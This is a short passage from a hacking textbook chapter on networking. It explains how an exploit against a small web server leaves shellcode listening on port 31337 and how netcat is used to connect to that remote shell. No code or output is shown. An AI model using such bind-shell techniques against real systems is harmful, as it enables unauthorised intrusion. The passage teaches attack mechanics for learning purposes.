NETWORKING - Hacking: The Art of Exploitation - page 279

When this exploit is compiled and run against a host running tinyweb
server, the shellcode listens on port 31337 for a TCP connection. In the
output below, a program called nc is used to connect to the shell. This pro-
gram is netcat ( nc for short), which works like that cat program but over the
network. We can't just use telnet to connect since it automatically terminates
all outgoing lines with '\r\n' . The output of this exploit is shown below. The
-vv command-line option passed to netcat is just to make it more verbose.
